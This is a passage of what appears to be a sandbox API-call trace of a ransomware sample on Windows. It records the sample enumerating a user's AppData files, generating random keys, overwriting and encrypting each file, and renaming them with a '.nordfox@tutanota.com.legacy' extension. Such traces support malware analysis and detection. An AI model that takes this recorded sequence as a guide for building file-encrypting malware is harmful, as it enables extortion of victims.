(HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0117.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0117.653] GetLastError () returned 0x0 [0117.653] SetLastError (dwErrCode=0x0) [0117.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d88 [0117.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d88 | out: hHeap=0x520000) returned 1 [0117.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e7928 [0117.653] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8ff2d0, ftCreationTime.dwHighDateTime=0x1d4ca78, ftLastAccessTime.dwLowDateTime=0x9edd7c20, ftLastAccessTime.dwHighDateTime=0x1d4cc12, ftLastWriteTime.dwLowDateTime=0x9edd7c20, ftLastWriteTime.dwHighDateTime=0x1d4cc12, nFileSizeHigh=0x0, nFileSizeLow=0xb29e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="tbYLfhp-ipjFW.wav", cAlternateFileName="TBYLFH~1.WAV")) returned 1 [0117.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0117.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0117.653] GetLastError () returned 0x0 [0117.653] SetLastError (dwErrCode=0x0) [0117.653] GetLastError () returned 0x0 [0117.653] SetLastError (dwErrCode=0x0) [0117.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0117.654] GetLastError () returned 0x0 [0117.654] SetLastError (dwErrCode=0x0) [0117.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0117.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0117.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e7a60 [0117.654] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6721fdb0, ftCreationTime.dwHighDateTime=0x1d4d55e, ftLastAccessTime.dwLowDateTime=0x39add790, ftLastAccessTime.dwHighDateTime=0x1d4ccb8, ftLastWriteTime.dwLowDateTime=0x39add790, ftLastWriteTime.dwHighDateTime=0x1d4ccb8, nFileSizeHigh=0x0, nFileSizeLow=0x16821, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="tFvxMQgEB.doc", cAlternateFileName="TFVXMQ~1.DOC")) returned 1 [0117.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0117.654] GetLastError () returned 0x0 [0117.654] SetLastError (dwErrCode=0x0) [0117.654] GetLastError () returned 0x0 [0117.654] SetLastError (dwErrCode=0x0) [0117.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0117.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0117.654] GetLastError () returned 0x0 [0117.654] SetLastError (dwErrCode=0x0) [0117.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b08 | out: hHeap=0x520000) returned 1 [0117.654] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac10f2b0, ftCreationTime.dwHighDateTime=0x1d4d29c, ftLastAccessTime.dwLowDateTime=0x44faf100, ftLastAccessTime.dwHighDateTime=0x1d4c704, ftLastWriteTime.dwLowDateTime=0x44faf100, ftLastWriteTime.dwHighDateTime=0x1d4c704, nFileSizeHigh=0x0, nFileSizeLow=0x54df, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="VnSUE9RNa.doc", cAlternateFileName="VNSUE9~1.DOC")) returned 1 [0117.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0117.654] GetLastError () returned 0x0 [0117.654] SetLastError (dwErrCode=0x0) [0117.654] GetLastError () returned 0x0 [0117.655] SetLastError (dwErrCode=0x0) [0117.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0117.655] GetLastError () returned 0x0 [0117.655] SetLastError (dwErrCode=0x0) [0117.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0117.655] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26e33fe0, ftCreationTime.dwHighDateTime=0x1d4cf44, ftLastAccessTime.dwLowDateTime=0x87e60a50, ftLastAccessTime.dwHighDateTime=0x1d4d496, ftLastWriteTime.dwLowDateTime=0x87e60a50, ftLastWriteTime.dwHighDateTime=0x1d4d496, nFileSizeHigh=0x0, nFileSizeLow=0x18215, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="VUgIW-P3N88.gif", cAlternateFileName="VUGIW-~1.GIF")) returned 1 [0117.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0117.655] GetLastError () returned 0x0 [0117.655] SetLastError (dwErrCode=0x0) [0117.655] GetLastError () returned 0x0 [0117.655] SetLastError (dwErrCode=0x0) [0117.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0117.655] GetLastError () returned 0x0 [0117.655] SetLastError (dwErrCode=0x0) [0117.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d38 | out: hHeap=0x520000) returned 1 [0117.655] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55a0a10, ftCreationTime.dwHighDateTime=0x1d4d323, ftLastAccessTime.dwLowDateTime=0xc14b35f0, ftLastAccessTime.dwHighDateTime=0x1d4c92d, ftLastWriteTime.dwLowDateTime=0xc14b35f0, ftLastWriteTime.dwHighDateTime=0x1d4c92d, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Wswb-158BPkxDz7ZA.m4a", cAlternateFileName="WSWB-1~1.M4A")) returned 1 [0117.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0117.655] GetLastError () returned 0x0 [0117.655] SetLastError (dwErrCode=0x0) [0117.655] GetLastError () returned 0x0 [0117.656] SetLastError (dwErrCode=0x0) [0117.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0117.656] GetLastError () returned 0x0 [0117.656] SetLastError (dwErrCode=0x0) [0117.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0117.656] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e8e0b30, ftCreationTime.dwHighDateTime=0x1d4c88b, ftLastAccessTime.dwLowDateTime=0x94042a50, ftLastAccessTime.dwHighDateTime=0x1d4c88a, ftLastWriteTime.dwLowDateTime=0x94042a50, ftLastWriteTime.dwHighDateTime=0x1d4c88a, nFileSizeHigh=0x0, nFileSizeLow=0x17e65, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="xGXb528kMUsF1-UX_rs.png", cAlternateFileName="XGXB52~1.PNG")) returned 1 [0117.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0117.656] GetLastError () returned 0x0 [0117.656] SetLastError (dwErrCode=0x0) [0117.656] GetLastError () returned 0x0 [0117.656] SetLastError (dwErrCode=0x0) [0117.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0117.656] GetLastError () returned 0x0 [0117.656] SetLastError (dwErrCode=0x0) [0117.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0117.656] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2cfa170, ftCreationTime.dwHighDateTime=0x1d4d205, ftLastAccessTime.dwLowDateTime=0x3ead2250, ftLastAccessTime.dwHighDateTime=0x1d4c880, ftLastWriteTime.dwLowDateTime=0x3ead2250, ftLastWriteTime.dwHighDateTime=0x1d4c880, nFileSizeHigh=0x0, nFileSizeLow=0xa459, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Z-2ETQPJ31.swf", cAlternateFileName="Z-2ETQ~1.SWF")) returned 1 [0117.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0117.656] GetLastError () returned 0x0 [0117.656] SetLastError (dwErrCode=0x0) [0117.656] GetLastError () returned 0x0 [0117.656] SetLastError (dwErrCode=0x0) [0117.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0117.657] GetLastError () returned 0x0 [0117.657] SetLastError (dwErrCode=0x0) [0117.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ce8 | out: hHeap=0x520000) returned 1 [0117.657] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a68dc0, ftCreationTime.dwHighDateTime=0x1d4cc3d, ftLastAccessTime.dwLowDateTime=0x78c247c0, ftLastAccessTime.dwHighDateTime=0x1d4d336, ftLastWriteTime.dwLowDateTime=0x78c247c0, ftLastWriteTime.dwHighDateTime=0x1d4d336, nFileSizeHigh=0x0, nFileSizeLow=0xbf75, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ZF7tl.png", cAlternateFileName="")) returned 1 [0117.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0117.657] GetLastError () returned 0x0 [0117.657] SetLastError (dwErrCode=0x0) [0117.657] GetLastError () returned 0x0 [0117.657] SetLastError (dwErrCode=0x0) [0117.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0117.657] GetLastError () returned 0x0 [0117.657] SetLastError (dwErrCode=0x0) [0117.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b08 | out: hHeap=0x520000) returned 1 [0117.658] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ffe8770, ftCreationTime.dwHighDateTime=0x1d4d314, ftLastAccessTime.dwLowDateTime=0x1fccf5b0, ftLastAccessTime.dwHighDateTime=0x1d4cb5d, ftLastWriteTime.dwLowDateTime=0x1fccf5b0, ftLastWriteTime.dwHighDateTime=0x1d4cb5d, nFileSizeHigh=0x0, nFileSizeLow=0x125fa, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="_F7FuPIdThg7qiX2nF.mkv", cAlternateFileName="_F7FUP~1.MKV")) returned 1 [0117.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0117.658] GetLastError () returned 0x0 [0117.658] SetLastError (dwErrCode=0x0) [0117.658] GetLastError () returned 0x0 [0117.658] SetLastError (dwErrCode=0x0) [0117.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0117.658] GetLastError () returned 0x0 [0117.658] SetLastError (dwErrCode=0x0) [0117.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0117.658] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ffe8770, ftCreationTime.dwHighDateTime=0x1d4d314, ftLastAccessTime.dwLowDateTime=0x1fccf5b0, ftLastAccessTime.dwHighDateTime=0x1d4cb5d, ftLastWriteTime.dwLowDateTime=0x1fccf5b0, ftLastWriteTime.dwHighDateTime=0x1d4cb5d, nFileSizeHigh=0x0, nFileSizeLow=0x125fa, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="_F7FuPIdThg7qiX2nF.mkv", cAlternateFileName="_F7FUP~1.MKV")) returned 0 [0117.658] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0117.658] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0117.658] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\_F7FuPIdThg7qiX2nF.mkv", dwFileAttributes=0x80) returned 1 [0117.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e415e8 | out: hHeap=0x520000) returned 1 [0117.677] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\_F7FuPIdThg7qiX2nF.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\_f7fupidthg7qix2nf.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.677] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=75258) returned 1 [0117.678] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x125fa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x125fa, lpOverlapped=0x0) returned 1 [0117.680] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-75258, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.680] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x125fa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x125fa, lpOverlapped=0x0) returned 1 [0117.681] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.681] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0117.681] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x125fa [0117.681] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.681] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.681] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.681] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.682] CloseHandle (hObject=0x6a8) returned 1 [0117.682] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0117.682] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.682] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\_F7FuPIdThg7qiX2nF.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\_f7fupidthg7qix2nf.mkv"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\_F7FuPIdThg7qiX2nF.mkv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\_f7fupidthg7qix2nf.mkv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.683] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0117.683] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5679b8 | out: hHeap=0x520000) returned 1 [0117.683] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0117.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56db30 [0117.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0117.684] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.684] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0117.684] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\ZF7tl.png", dwFileAttributes=0x80) returned 1 [0117.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56dd98 [0117.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41510 [0117.684] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dd98 | out: hHeap=0x520000) returned 1 [0117.684] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\ZF7tl.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\zf7tl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.684] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=49013) returned 1 [0117.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbf75) returned 0x609bd8 [0117.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbf75) returned 0x2e41f30 [0117.685] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0xbf75, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0xbf75, lpOverlapped=0x0) returned 1 [0117.686] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-49013, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.686] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0xbf75, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0xbf75, lpOverlapped=0x0) returned 1 [0117.686] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.686] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xbf75 [0117.686] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.686] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.687] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.687] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.687] CloseHandle (hObject=0x6a8) returned 1 [0117.687] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\ZF7tl.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\zf7tl.png"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\ZF7tl.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\zf7tl.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.689] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0117.689] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0117.689] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Z-2ETQPJ31.swf", dwFileAttributes=0x80) returned 1 [0117.689] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e7da0 [0117.689] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e417f0 [0117.689] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Z-2ETQPJ31.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\z-2etqpj31.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.690] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=42073) returned 1 [0117.690] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa459) returned 0x609bd8 [0117.690] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa459) returned 0x614040 [0117.690] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0xa459, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0xa459, lpOverlapped=0x0) returned 1 [0117.691] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-42073, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.691] WriteFile (in: hFile=0x6a8, lpBuffer=0x614040*, nNumberOfBytesToWrite=0xa459, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x614040*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa459, lpOverlapped=0x0) returned 1 [0117.691] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.691] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x614040 | out: hHeap=0x520000) returned 1 [0117.693] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa459 [0117.693] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.693] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.694] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.694] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.694] CloseHandle (hObject=0x6a8) returned 1 [0117.694] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0117.694] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0117.694] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Z-2ETQPJ31.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\z-2etqpj31.swf"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Z-2ETQPJ31.swf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\z-2etqpj31.swf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.698] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e417f0 | out: hHeap=0x520000) returned 1 [0117.698] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8148 | out: hHeap=0x520000) returned 1 [0117.699] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7ac8 | out: hHeap=0x520000) returned 1 [0117.699] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0117.699] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0117.699] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0117.699] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0117.699] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0117.699] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\xGXb528kMUsF1-UX_rs.png", dwFileAttributes=0x80) returned 1 [0117.699] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5679b8 [0117.699] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0117.699] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5679b8 | out: hHeap=0x520000) returned 1 [0117.699] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\xGXb528kMUsF1-UX_rs.png" (normalized: 